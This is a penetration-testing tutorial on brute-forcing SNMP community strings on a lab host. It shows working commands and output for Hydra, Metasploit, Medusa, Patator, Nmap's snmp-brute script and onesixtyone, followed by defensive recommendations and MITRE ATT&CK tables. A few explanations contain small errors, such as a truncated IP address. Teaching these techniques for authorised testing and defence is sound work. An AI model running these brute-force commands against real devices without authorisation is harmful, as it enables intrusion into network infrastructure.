

PASSWORD CRACKING



***_



SNMP

public

device!



community

OID

password

id

SNMP



Contents

Introduction	3
MITRE ATT&CK Techniques:	3
Introduction to SNMP (Port 161)	3
Enumeration.....	3
Nmap Scan	3
Brute-Force Techniques	4
Tools Quick Reference	4
Hydra	4
Explanation:	4
Metasploit	5
Explanation:	5
Medusa	5
Explanation:	5
Patator.....	6
Explanation:	6
Nmap NSE Script (snmp-brute.nse)	6
Explanation:	6
Onesixtyone	7
Explanation:	7
Defensive Strategy	7
SNMP Brute-Force – Offense, Defense & MITRE Mapping	8
Defense-in-Depth Summary.....	8





Introduction

In this article, we will demonstrate how to identify and exploit SNMP services using various tools, each suited for different scenarios, from quick brute-force attempts to large-scale automated attacks.

MITRE ATT&CK Techniques:

- **T1110.001** – Brute Force: Password Guessing
- **T1046** – Network Service Scanning
- **T1078** – Valid Accounts

Introduction to SNMP (Port 161)

SNMP (Simple Network Management Protocol) is a protocol used for managing and monitoring network devices. It operates on UDP port 161 and allows administrators to perform various tasks, such as configuring devices, monitoring performance, and detecting faults. However, SNMP can also be vulnerable to password cracking attacks, especially if default or weak community strings are used.

Enumeration

Nmap Scan

To start the enumeration process, we perform a simple Nmap scan on the target IP address to check for an open SNMP port:

```
nmap -p161 -sU 192.168.1.13
```

This scan will help us identify if the target device has an open SNMP port and if it is responding to SNMP requests.

```
(root@kali)-[~]
# nmap -p161 -sU 192.168.1.13
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-02 16:09 EDT
Nmap scan report for 192.168.1.13
Host is up (0.00065s latency).

PORT      STATE SERVICE
161/udp   open  snmp
MAC Address: 00:0C:29:C1:62:F9 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
```



Brute-Force Techniques

Tools Quick Reference

Tools	Strength	Best Use Case
Hydra	Fast, parallel brute-force engine	Brute-forcing SNMP community strings on individual targets
Metasploit	SNMP auxiliary modules	Automated brute-force with integration into post-exploitation workflows
Medusa	Multi-threaded and scalable brute-forcer	High-volume SNMP credential testing
Ncrack	High-speed network authentication tester	Broad credential testing across large SNMP deployments
Patator	Adaptive and stealth-friendly brute-forcer	Stealthy brute-force with fail detection and error handling for SNMP
OneSixtyOne	Fast and efficient SNMP brute-forcer	Brute-forcing SNMP community strings with a focus on speed and efficiency
Nmap NSE Script (snmp-brute.nse)	Scripted brute-forcing with Nmap scripting engine	Quick checks for weak SNMP community strings during early recon

Hydra

Hydra is a fast and flexible tool designed for brute-force password cracking across various protocols, including SNMP. It automates the process of testing community strings from a provided wordlist.

To perform a brute-force attack against an SNMP service using Hydra, use the following command:

```
hydra -P pass.txt 192.168.1.13 snmp
```

Explanation:

- **-L users.txt**: Specifies the path to the username list (not applicable for SNMP, as it uses community strings instead).
- **-P pass.txt**: Specifies the path to the password list (community strings).
- **168.1.13**: Target IP address.
- **snmp**: Protocol to attack.

```
(root@kali)-[~]
# hydra -P pass.txt 192.168.1.13 snmp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-02 16:01:43
[DATA] max 10 tasks per 1 server, overall 10 tasks, 10 login tries (l:1/p:10), ~1 try
[DATA] attacking snmp://192.168.1.13:161/
[161][snmp] host: 192.168.1.13 password: 123
[STATUS] attack finished for 192.168.1.13 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-02 16:01:43
```





Metasploit

Metasploit includes auxiliary modules that can perform brute-force attacks on various services, including SNMP. In this case, we can effectively automate login attempts to find weak or default community strings on target systems.

To perform a brute force attack against an SNMP service using Metasploit, use the following commands:

```
msf6 > use auxiliary/scanner/snmp/snmp_login
set rhosts 192.168.1.13
set pass_file pass.txt
set verbose false
run
```

Explanation:

- **use auxiliary/scanner/snmp/snmp_login**: Selects the Metasploit module designed for brute-forcing SNMP login credentials.
- **set rhosts 192.168.1.13**: Specifies the target machine's IP address for the scan.
- **set pass_file pass.txt**: Defines a file containing potential community strings to try during the brute-force attack.
- **set verbose false**: Disables verbose output, reducing on-screen clutter during the attack.

```
msf6 > use auxiliary/scanner/snmp/snmp_login
msf6 auxiliary(scanner/snmp/snmp_login) > set rhosts 192.168.1.13
rhosts => 192.168.1.13
msf6 auxiliary(scanner/snmp/snmp_login) > set pass_file pass.txt
pass_file => pass.txt
msf6 auxiliary(scanner/snmp/snmp_login) > set verbose false
verbose => false
msf6 auxiliary(scanner/snmp/snmp_login) > run
[+] 192.168.1.13:161 - Login Successful: 123 (Access level: read-only); Proof
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/snmp/snmp_login) >
```

Medusa

Medusa is a speedy, parallel, and modular login brute force that supports multiple protocols, including SNMP. It allows testers to perform dictionary-based attacks against services like SNMP.

To perform a brute-force attack against an SNMP service using Medusa, use the following command:

```
medusa -h 192.168.1.13 -U users.txt -P pass.txt -M snmp
```

Explanation:

- **-h 192.168.1.13**: Specifies the IP address of the target machine.
- **-U users.txt**: Points to a file containing a list of usernames (not applicable for SNMP, as it uses community strings instead).
- **-P pass.txt**: Points to a file containing a list of passwords (community strings).
- **-M snmp**: Indicates that the SNMP module should be used for this attack.



```
(root@kali)~# medusa -h 192.168.1.13 -U users.txt -P pass.txt -M snmp | grep "ACCOUNT FOUND"
2025-06-02 16:06:26 ACCOUNT FOUND: [snmp] Host: 192.168.1.13 User: (null) Password: 123 [SUCCESS]
2025-06-02 16:06:26 ACCOUNT FOUND: [snmp] Host: 192.168.1.13 User: (null) Password: 123 [SUCCESS]
2025-06-02 16:06:26 ACCOUNT FOUND: [snmp] Host: 192.168.1.13 User: (null) Password: 123 [SUCCESS]
2025-06-02 16:06:26 ACCOUNT FOUND: [snmp] Host: 192.168.1.13 User: (null) Password: 123 [SUCCESS]
2025-06-02 16:06:26 ACCOUNT FOUND: [snmp] Host: 192.168.1.13 User: (null) Password: 123 [SUCCESS]
2025-06-02 16:06:26 ACCOUNT FOUND: [snmp] Host: 192.168.1.13 User: (null) Password: 123 [SUCCESS]
2025-06-02 16:06:26 ACCOUNT FOUND: [snmp] Host: 192.168.1.13 User: (null) Password: 123 [SUCCESS]
```

Patator

Patator is a versatile, multi-threaded brute forcing tool capable of attacking a wide range of protocols, including SNMP. It's modular, highly customizable, and known for its stability and clear, structured output.

To perform a brute-force attack against an SNMP service using Patator, use the following command:

```
patator SNMP_login host=192.168.1.13 community=FILE0 0=pass.txt
```

Explanation:

- **patator**: Launches the Patator brute force tool.
- **SNMP_login**: Specifies the module for brute forcing SNMP credentials.
- **host=192.168.1.13**: Indicates the target machine's IP address.
- **community=FILE0 0=pass.txt**: Assigns FILE0 as a placeholder for community strings, pulling values from pass.txt.

```
(root@kali)~# patator SNMP_login host=192.168.1.13 community=FILE0 0=pass.txt
16:08:23 patator INFO - code size time | candidate | num | msg
16:08:23 patator INFO -
16:08:24 patator INFO - 0 116 0.265 | 123 | 8 | SNMPv2-MIB::sysDescr.0 = Linux ubuntu 5.15.0-139-ge
16:08:26 patator INFO - 0 40 3.192 | ignite@987 | 5 | No SNMP response received before timeout
16:08:26 patator INFO - 0 40 3.271 | postgres | 6 | No SNMP response received before timeout
16:08:26 patator INFO - 0 40 3.259 | ignite | 7 | No SNMP response received before timeout
16:08:26 patator INFO - 0 40 3.238 | 1234y | 9 | No SNMP response received before timeout
```

Nmap NSE Script (snmp-brute.nse)

Nmap is widely recognized as a powerful tool for network scanning and host enumeration. Beyond its core functionality, it features the Nmap Scripting Engine (NSE)—A collection of scripts that extend its capabilities to perform a wide range of tasks, including brute force attacks against services like SNMP.

To perform a brute-force attack against an SNMP service using Nmap, use the following command:

```
nmap -sU -p 161 -n --script snmp-brute 192.168.1.13 --script-args snmp-brute.communitiesdb=pass.txt
```

Explanation:

- **-sU**: Scans for UDP ports.
- **-p 161**: Scans for SNMP service on port 161.
- **--script snmp-brute**: Specifies the use of the SNMP brute-force NSE script.



- **--script-args snmp-brute.communitiesdb=pass.txt**: Provides the script with your custom community string list.

```
(root@kali)-[~]
# nmap -sU -p 161 -n --script snmp-brute 192.168.1.13 --script-args snmp-brute.communitiesdb=pass.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-02 16:13 EDT
Nmap scan report for 192.168.1.13
Host is up (0.00055s latency).

PORT      STATE SERVICE
161/udp   open  snmp
| snmp-brute:
|_ 123 - Valid credentials
MAC Address: 00:0C:29:C1:62:F9 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.33 seconds
```

Onesixtyone

Onesixtyone is a simple and efficient tool for brute-forcing SNMP community strings.

To perform a brute-force attack against an SNMP service using Onesixtyone, use the following command:

```
onesixtyone 192.168.1.13 -c pass.txt
```

Explanation:

- **onesixtyone**: Launches the Onesixtyone brute force tool.
- **168.1.13**: Target IP address.
- **-c pass.txt**: Specifies the file containing community strings to try.

```
(root@kali)-[~]
# onesixtyone 192.168.1.13 -c pass.txt
Scanning 1 hosts, 10 communities
192.168.1.13 [123] Linux ubuntu 5.15.0-139-generic #149~20.04.1-Ubuntu SMP We
```

Defensive Strategy

To defend against SNMP brute-force attacks, consider the following strategies:

- Use strong and unique community strings.
- Limit access to SNMP services using firewalls and access control lists.
- Monitor for suspicious SNMP activity using intrusion detection systems and log analysis.
- Implement rate limiting and IP blocking to prevent brute-force attacks.

By understanding how to identify and exploit SNMP services using various tools, you can improve your defensive strategies and protect your network against potential attacks.



SNMP Brute-Force – Offense, Defense & MITRE Mapping

Phase/Technique	MITRE ID	Tool/Vector	Description & Red Team Usage	Blue Team Mitigation / Recommendations
Enumeration	T1046	Nmap, Onesixtyone	Discover open SNMP ports (e.g., 161) and identify service banners	Use IDS/IPS or Zeek to detect scans; restrict SNMP to known IPs via firewalls or NSGs
Credential Brute Force	T1110.001	Hydra, Medusa, Patator, Nmap NSE Script (snmp-brute.nse), Onesixtyone	Attempt logins using known or common SNMP community strings	Enforce lockouts, rate limiting, and detect login bursts via SNMP logs and SIEM
Scripted Exploit	T1059	Metasploit, Patator	Automate brute-force login attempts using scripts and modular frameworks	Monitor SNMP query logs and session activity for automated or anomalous login attempts
Valid Accounts Usage	T1078	Ncrack, snmpwalk	Use valid SNMP credentials for lateral movement, data access, or privilege escalation	Monitor unusual SNMP login times or hosts; enforce strong password policies and access controls
Defense Evasion	T1562.001	Misconfigured SNMP auth	Exploit SNMP configs with unlimited retries or weak community strings	Harden SNMP configurations, limit authentication retries, and enforce secure authentication methods
Mass Credential Spray	T1110.001	BruteSpray	Spray credentials across multiple SNMP hosts parsed from Nmap scan results	Correlate scan-to-login activity in SIEM, enforce per-IP connection thresholds, monitor SNMP logs for anomalies

Defense-in-Depth Summary

Control Category	Defensive Measures
Authentication	Upgrade to SNMPv3, which uses more secure authentication and encryption mechanisms; use strong, complex community strings and change them regularly; implement access control lists (ACLs) to restrict access to SNMP data
Monitoring	Integrate SNMP logs with SIEM; enable logging and monitoring to detect and respond to suspicious SNMP activity; use IPsec to protect SNMP traffic
Network Controls	Restrict access to ports 161 and 162 by IP/VLAN; place SNMP servers behind firewalls or internal-only subnets; block traffic to ports 161 and 162 at the firewall
Rate Limiting	Implement rate limiting on SNMP queries to reduce the impact of potential amplification attacks; use ACLs to limit SNMP access to known, trusted IP addresses
Deception & Hunting	Deploy SNMP honeypots to detect and respond to malicious activity; monitor for unexpected session patterns or login anomalies; use SNMP view command to restrict access to performance data
Protocol Security	Use SSL/TLS for all SNMP traffic; disable external access where unnecessary; enforce strong client authentication; configure SNMP users with views to limit access to performance data

To learn more about Password Cracking. Follow this [Link](#).

JOIN OUR TRAINING PROGRAMS

